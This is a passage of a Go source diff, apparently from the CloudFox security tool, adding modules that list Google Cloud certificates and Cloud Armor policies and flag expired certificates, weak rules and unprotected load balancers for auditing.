||||
|
||||
// Format encryption - show KMS key if CMEK
|
||||
encryptionDisplay := bucket.EncryptionType
|
||||
if bucket.EncryptionType == "CMEK" && bucket.KMSKeyName != "" {
|
||||
// Extract just the key name from the full path for display
|
||||
// Format: projects/PROJECT/locations/LOCATION/keyRings/RING/cryptoKeys/KEY
|
||||
keyParts := strings.Split(bucket.KMSKeyName, "/")
|
||||
if len(keyParts) >= 2 {
|
||||
encryptionDisplay = fmt.Sprintf("CMEK (%s)", keyParts[len(keyParts)-1])
|
||||
}
|
||||
}
|
||||
|
||||
// One row per IAM member
|
||||
if len(bucket.IAMBindings) > 0 {
|
||||
for _, binding := range bucket.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
memberType := shared.GetPrincipalType(member)
|
||||
|
||||
// Check attack paths for service account principals
|
||||
attackPaths := "-"
|
||||
if memberType == "ServiceAccount" {
|
||||
// Extract email from member string (serviceAccount:email@...)
|
||||
email := strings.TrimPrefix(member, "serviceAccount:")
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, email)
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(bucket.ProjectID),
|
||||
bucket.Name,
|
||||
bucket.Location,
|
||||
publicDisplay,
|
||||
bucket.PublicAccessPrevention,
|
||||
uniformAccessDisplay,
|
||||
softDeleteDisplay,
|
||||
lifecycleDisplay,
|
||||
shared.BoolToYesNo(bucket.VersioningEnabled),
|
||||
encryptionDisplay,
|
||||
binding.Role,
|
||||
memberType,
|
||||
member,
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Bucket with no IAM bindings
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(bucket.ProjectID),
|
||||
bucket.Name,
|
||||
bucket.Location,
|
||||
publicDisplay,
|
||||
bucket.PublicAccessPrevention,
|
||||
uniformAccessDisplay,
|
||||
softDeleteDisplay,
|
||||
lifecycleDisplay,
|
||||
shared.BoolToYesNo(bucket.VersioningEnabled),
|
||||
encryptionDisplay,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
}
|
||||
return body
|
||||
}
|
||||
@@ -0,0 +1,382 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
certmanagerservice "github.com/BishopFox/cloudfox/gcp/services/certManagerService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPCertManagerCommand = &cobra.Command{
|
||||
Use: globals.GCP_CERTMANAGER_MODULE_NAME,
|
||||
Aliases: []string{"certs", "certificates", "ssl"},
|
||||
Short: "Enumerate SSL/TLS certificates and find expiring or misconfigured certs",
|
||||
Long: `Enumerate SSL/TLS certificates from Certificate Manager and Compute Engine.
|
||||
|
||||
This module finds all certificates and identifies security issues:
|
||||
- Expired or soon-to-expire certificates
|
||||
- Failed certificate issuance
|
||||
- Wildcard certificates (higher impact if compromised)
|
||||
- Self-managed certificates that need manual renewal
|
||||
|
||||
Security Relevance:
|
||||
- Expired certificates cause outages and security warnings
|
||||
- Wildcard certificates can be abused to MITM any subdomain
|
||||
- Certificate domains reveal infrastructure and services
|
||||
- Self-managed certs may have exposed private keys
|
||||
|
||||
What this module finds:
|
||||
- Certificate Manager certificates (global)
|
||||
- Compute Engine SSL certificates (classic)
|
||||
- Certificate maps
|
||||
- Expiration status
|
||||
- Associated domains`,
|
||||
Run: runGCPCertManagerCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type CertManagerModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectCertificates map[string][]certmanagerservice.Certificate // projectID -> certificates
|
||||
ProjectSSLCertificates map[string][]certmanagerservice.SSLCertificate // projectID -> SSL certs
|
||||
ProjectCertMaps map[string][]certmanagerservice.CertificateMap // projectID -> cert maps
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type CertManagerOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o CertManagerOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o CertManagerOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPCertManagerCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &CertManagerModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectCertificates: make(map[string][]certmanagerservice.Certificate),
|
||||
ProjectSSLCertificates: make(map[string][]certmanagerservice.SSLCertificate),
|
||||
ProjectCertMaps: make(map[string][]certmanagerservice.CertificateMap),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *CertManagerModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CERTMANAGER_MODULE_NAME, m.processProject)
|
||||
|
||||
allCerts := m.getAllCertificates()
|
||||
allSSLCerts := m.getAllSSLCertificates()
|
||||
allCertMaps := m.getAllCertMaps()
|
||||
|
||||
totalCerts := len(allCerts) + len(allSSLCerts)
|
||||
|
||||
if totalCerts == 0 {
|
||||
logger.InfoM("No certificates found", globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count expiring/expired certs
|
||||
expiringCount := 0
|
||||
expiredCount := 0
|
||||
|
||||
for _, cert := range allCerts {
|
||||
if cert.DaysUntilExpiry < 0 {
|
||||
expiredCount++
|
||||
} else if cert.DaysUntilExpiry <= 30 {
|
||||
expiringCount++
|
||||
}
|
||||
}
|
||||
for _, cert := range allSSLCerts {
|
||||
if cert.DaysUntilExpiry < 0 {
|
||||
expiredCount++
|
||||
} else if cert.DaysUntilExpiry <= 30 {
|
||||
expiringCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d certificate(s), %d map(s)",
|
||||
totalCerts, len(allCertMaps)), globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
|
||||
if expiredCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[HIGH] %d certificate(s) have EXPIRED!", expiredCount), globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
}
|
||||
if expiringCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[MEDIUM] %d certificate(s) expire within 30 days", expiringCount), globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) getAllCertificates() []certmanagerservice.Certificate {
|
||||
var all []certmanagerservice.Certificate
|
||||
for _, certs := range m.ProjectCertificates {
|
||||
all = append(all, certs...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) getAllSSLCertificates() []certmanagerservice.SSLCertificate {
|
||||
var all []certmanagerservice.SSLCertificate
|
||||
for _, certs := range m.ProjectSSLCertificates {
|
||||
all = append(all, certs...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) getAllCertMaps() []certmanagerservice.CertificateMap {
|
||||
var all []certmanagerservice.CertificateMap
|
||||
for _, maps := range m.ProjectCertMaps {
|
||||
all = append(all, maps...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *CertManagerModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Checking certificates in project: %s", projectID), globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := certmanagerservice.New()
|
||||
|
||||
// Get Certificate Manager certs
|
||||
certs, err := svc.GetCertificates(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CERTMANAGER_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate certificates in project %s", projectID))
|
||||
}
|
||||
|
||||
// Get classic SSL certs
|
||||
sslCerts, err := svc.GetSSLCertificates(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CERTMANAGER_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate SSL certificates in project %s", projectID))
|
||||
}
|
||||
|
||||
// Get certificate maps
|
||||
certMaps, err := svc.GetCertificateMaps(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CERTMANAGER_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate certificate maps in project %s", projectID))
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectCertificates[projectID] = certs
|
||||
m.ProjectSSLCertificates[projectID] = sslCerts
|
||||
m.ProjectCertMaps[projectID] = certMaps
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *CertManagerModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) getCertificatesHeader() []string {
|
||||
return []string{"Project", "Name", "Type", "Domains", "Expires", "Days Left", "Wildcard", "Expired", "Self-Managed"}
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) getCertMapsHeader() []string {
|
||||
return []string{"Project", "Name", "Location", "Entries", "Certificates"}
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) certsToTableBody(certs []certmanagerservice.Certificate, sslCerts []certmanagerservice.SSLCertificate) [][]string {
|
||||
var body [][]string
|
||||
|
||||
for _, cert := range certs {
|
||||
wildcard := "No"
|
||||
if cert.Wildcard {
|
||||
wildcard = "Yes"
|
||||
}
|
||||
expired := "No"
|
||||
if cert.Expired {
|
||||
expired = "Yes"
|
||||
}
|
||||
selfManaged := "No"
|
||||
if cert.SelfManaged {
|
||||
selfManaged = "Yes"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(cert.ProjectID),
|
||||
cert.Name,
|
||||
cert.Type,
|
||||
strings.Join(cert.Domains, ", "),
|
||||
cert.ExpireTime,
|
||||
fmt.Sprintf("%d", cert.DaysUntilExpiry),
|
||||
wildcard,
|
||||
expired,
|
||||
selfManaged,
|
||||
})
|
||||
}
|
||||
|
||||
for _, cert := range sslCerts {
|
||||
wildcard := "No"
|
||||
if cert.Wildcard {
|
||||
wildcard = "Yes"
|
||||
}
|
||||
expired := "No"
|
||||
if cert.Expired {
|
||||
expired = "Yes"
|
||||
}
|
||||
selfManaged := "No"
|
||||
if cert.SelfManaged {
|
||||
selfManaged = "Yes"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(cert.ProjectID),
|
||||
cert.Name,
|
||||
cert.Type,
|
||||
strings.Join(cert.Domains, ", "),
|
||||
cert.ExpireTime,
|
||||
fmt.Sprintf("%d", cert.DaysUntilExpiry),
|
||||
wildcard,
|
||||
expired,
|
||||
selfManaged,
|
||||
})
|
||||
}
|
||||
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) certMapsToTableBody(certMaps []certmanagerservice.CertificateMap) [][]string {
|
||||
var body [][]string
|
||||
for _, certMap := range certMaps {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(certMap.ProjectID),
|
||||
certMap.Name,
|
||||
certMap.Location,
|
||||
fmt.Sprintf("%d", certMap.EntryCount),
|
||||
strings.Join(certMap.Certificates, ", "),
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
certs := m.ProjectCertificates[projectID]
|
||||
sslCerts := m.ProjectSSLCertificates[projectID]
|
||||
if len(certs) > 0 || len(sslCerts) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "certificates",
|
||||
Header: m.getCertificatesHeader(),
|
||||
Body: m.certsToTableBody(certs, sslCerts),
|
||||
})
|
||||
}
|
||||
|
||||
if certMaps, ok := m.ProjectCertMaps[projectID]; ok && len(certMaps) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "certificate-maps",
|
||||
Header: m.getCertMapsHeader(),
|
||||
Body: m.certMapsToTableBody(certMaps),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectCertificates {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectSSLCertificates {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectCertMaps {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
outputData.ProjectLevelData[projectID] = CertManagerOutput{Table: tableFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CertManagerModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allCerts := m.getAllCertificates()
|
||||
allSSLCerts := m.getAllSSLCertificates()
|
||||
allCertMaps := m.getAllCertMaps()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allCerts) > 0 || len(allSSLCerts) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "certificates",
|
||||
Header: m.getCertificatesHeader(),
|
||||
Body: m.certsToTableBody(allCerts, allSSLCerts),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allCertMaps) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "certificate-maps",
|
||||
Header: m.getCertMapsHeader(),
|
||||
Body: m.certMapsToTableBody(allCertMaps),
|
||||
})
|
||||
}
|
||||
|
||||
output := CertManagerOutput{Table: tables}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, projectID := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(projectID)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CERTMANAGER_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,371 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
cloudarmorservice "github.com/BishopFox/cloudfox/gcp/services/cloudArmorService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPCloudArmorCommand = &cobra.Command{
|
||||
Use: globals.GCP_CLOUDARMOR_MODULE_NAME,
|
||||
Aliases: []string{"armor", "waf", "security-policies"},
|
||||
Short: "Enumerate Cloud Armor security policies and find weaknesses",
|
||||
Long: `Enumerate Cloud Armor security policies and identify misconfigurations.
|
||||
|
||||
Cloud Armor provides DDoS protection and WAF (Web Application Firewall) capabilities
|
||||
for Google Cloud load balancers.
|
||||
|
||||
Security Relevance:
|
||||
- Misconfigured policies may not actually block attacks
|
||||
- Preview-only rules don't block, just log
|
||||
- Missing OWASP rules leave apps vulnerable to common attacks
|
||||
- Unprotected load balancers have no WAF protection
|
||||
|
||||
What this module finds:
|
||||
- All Cloud Armor security policies
|
||||
- Policy weaknesses and misconfigurations
|
||||
- Rules in preview mode (not blocking)
|
||||
- Load balancers without Cloud Armor protection
|
||||
- Missing adaptive protection (DDoS)`,
|
||||
Run: runGCPCloudArmorCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type CloudArmorModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectPolicies map[string][]cloudarmorservice.SecurityPolicy // projectID -> policies
|
||||
UnprotectedLBs map[string][]string // projectID -> LB names
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type CloudArmorOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o CloudArmorOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o CloudArmorOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPCloudArmorCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &CloudArmorModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectPolicies: make(map[string][]cloudarmorservice.SecurityPolicy),
|
||||
UnprotectedLBs: make(map[string][]string),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *CloudArmorModule) getAllPolicies() []cloudarmorservice.SecurityPolicy {
|
||||
var all []cloudarmorservice.SecurityPolicy
|
||||
for _, policies := range m.ProjectPolicies {
|
||||
all = append(all, policies...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDARMOR_MODULE_NAME, m.processProject)
|
||||
|
||||
// Count unprotected LBs
|
||||
totalUnprotected := 0
|
||||
for _, lbs := range m.UnprotectedLBs {
|
||||
totalUnprotected += len(lbs)
|
||||
}
|
||||
|
||||
allPolicies := m.getAllPolicies()
|
||||
if len(allPolicies) == 0 && totalUnprotected == 0 {
|
||||
logger.InfoM("No Cloud Armor policies found", globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count policies with weaknesses
|
||||
weakPolicies := 0
|
||||
for _, policy := range allPolicies {
|
||||
if len(policy.Weaknesses) > 0 {
|
||||
weakPolicies++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d security policy(ies), %d with weaknesses, %d unprotected LB(s)",
|
||||
len(allPolicies), weakPolicies, totalUnprotected), globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
|
||||
if totalUnprotected > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[MEDIUM] %d load balancer(s) have no Cloud Armor protection", totalUnprotected), globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *CloudArmorModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Checking Cloud Armor in project: %s", projectID), globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := cloudarmorservice.New()
|
||||
|
||||
// Get security policies
|
||||
policies, err := svc.GetSecurityPolicies(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDARMOR_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Armor security policies in project %s", projectID))
|
||||
}
|
||||
|
||||
// Get unprotected LBs
|
||||
unprotectedLBs, err := svc.GetUnprotectedLoadBalancers(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDARMOR_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate unprotected load balancers in project %s", projectID))
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectPolicies[projectID] = policies
|
||||
if len(unprotectedLBs) > 0 {
|
||||
m.UnprotectedLBs[projectID] = unprotectedLBs
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *CloudArmorModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) getPoliciesHeader() []string {
|
||||
return []string{"Project", "Policy", "Type", "Rules", "Adaptive", "DDoS", "Attached To", "Weaknesses"}
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) getRulesHeader() []string {
|
||||
return []string{"Project", "Policy", "Priority", "Action", "Preview", "Match", "Rate Limit"}
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) getUnprotectedLBsHeader() []string {
|
||||
return []string{"Project", "Backend Service", "Status"}
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) policiesToTableBody(policies []cloudarmorservice.SecurityPolicy) [][]string {
|
||||
var body [][]string
|
||||
for _, policy := range policies {
|
||||
adaptive := "No"
|
||||
if policy.AdaptiveProtection {
|
||||
adaptive = "Yes"
|
||||
}
|
||||
|
||||
ddos := "-"
|
||||
if policy.DDOSProtection != "" {
|
||||
ddos = policy.DDOSProtection
|
||||
}
|
||||
|
||||
resources := "-"
|
||||
if len(policy.AttachedResources) > 0 {
|
||||
resources = strings.Join(policy.AttachedResources, ", ")
|
||||
}
|
||||
|
||||
weaknesses := "-"
|
||||
if len(policy.Weaknesses) > 0 {
|
||||
weaknesses = strings.Join(policy.Weaknesses, "; ")
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(policy.ProjectID),
|
||||
policy.Name,
|
||||
policy.Type,
|
||||
fmt.Sprintf("%d", policy.RuleCount),
|
||||
adaptive,
|
||||
ddos,
|
||||
resources,
|
||||
weaknesses,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) rulesToTableBody(policies []cloudarmorservice.SecurityPolicy) [][]string {
|
||||
var body [][]string
|
||||
for _, policy := range policies {
|
||||
for _, rule := range policy.Rules {
|
||||
preview := "No"
|
||||
if rule.Preview {
|
||||
preview = "Yes"
|
||||
}
|
||||
|
||||
rateLimit := "-"
|
||||
if rule.RateLimitConfig != nil {
|
||||
rateLimit = fmt.Sprintf("%d/%ds", rule.RateLimitConfig.ThresholdCount, rule.RateLimitConfig.IntervalSec)
|
||||
}
|
||||
|
||||
match := rule.Match
|
||||
if len(match) > 80 {
|
||||
match = match[:77] + "..."
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(policy.ProjectID),
|
||||
policy.Name,
|
||||
fmt.Sprintf("%d", rule.Priority),
|
||||
rule.Action,
|
||||
preview,
|
||||
match,
|
||||
rateLimit,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) unprotectedLBsToTableBody(projectID string, lbs []string) [][]string {
|
||||
var body [][]string
|
||||
for _, lb := range lbs {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(projectID),
|
||||
lb,
|
||||
"UNPROTECTED",
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if policies, ok := m.ProjectPolicies[projectID]; ok && len(policies) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "security-policies",
|
||||
Header: m.getPoliciesHeader(),
|
||||
Body: m.policiesToTableBody(policies),
|
||||
})
|
||||
|
||||
// Add rules table if there are rules
|
||||
rulesBody := m.rulesToTableBody(policies)
|
||||
if len(rulesBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "security-policy-rules",
|
||||
Header: m.getRulesHeader(),
|
||||
Body: rulesBody,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if lbs, ok := m.UnprotectedLBs[projectID]; ok && len(lbs) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "unprotected-backend-services",
|
||||
Header: m.getUnprotectedLBsHeader(),
|
||||
Body: m.unprotectedLBsToTableBody(projectID, lbs),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectPolicies {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.UnprotectedLBs {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
outputData.ProjectLevelData[projectID] = CloudArmorOutput{Table: tableFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudArmorModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
var tables []internal.TableFile
|
||||
|
||||
allPolicies := m.getAllPolicies()
|
||||
if len(allPolicies) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "security-policies",
|
||||
Header: m.getPoliciesHeader(),
|
||||
Body: m.policiesToTableBody(allPolicies),
|
||||
})
|
||||
}
|
||||
|
||||
// Add rules table if there are rules
|
||||
if len(allPolicies) > 0 {
|
||||
rulesBody := m.rulesToTableBody(allPolicies)
|
||||
if len(rulesBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "security-policy-rules",
|
||||
Header: m.getRulesHeader(),
|
||||
Body: rulesBody,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Build unprotected LBs table from all projects
|
||||
var allUnprotectedBody [][]string
|
||||
for projectID, lbs := range m.UnprotectedLBs {
|
||||
allUnprotectedBody = append(allUnprotectedBody, m.unprotectedLBsToTableBody(projectID, lbs)...)
|
||||
}
|
||||
if len(allUnprotectedBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "unprotected-backend-services",
|
||||
Header: m.getUnprotectedLBsHeader(),
|
||||
Body: allUnprotectedBody,
|
||||
})
|
||||
}
|
||||
|
||||
output := CloudArmorOutput{Table: tables}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
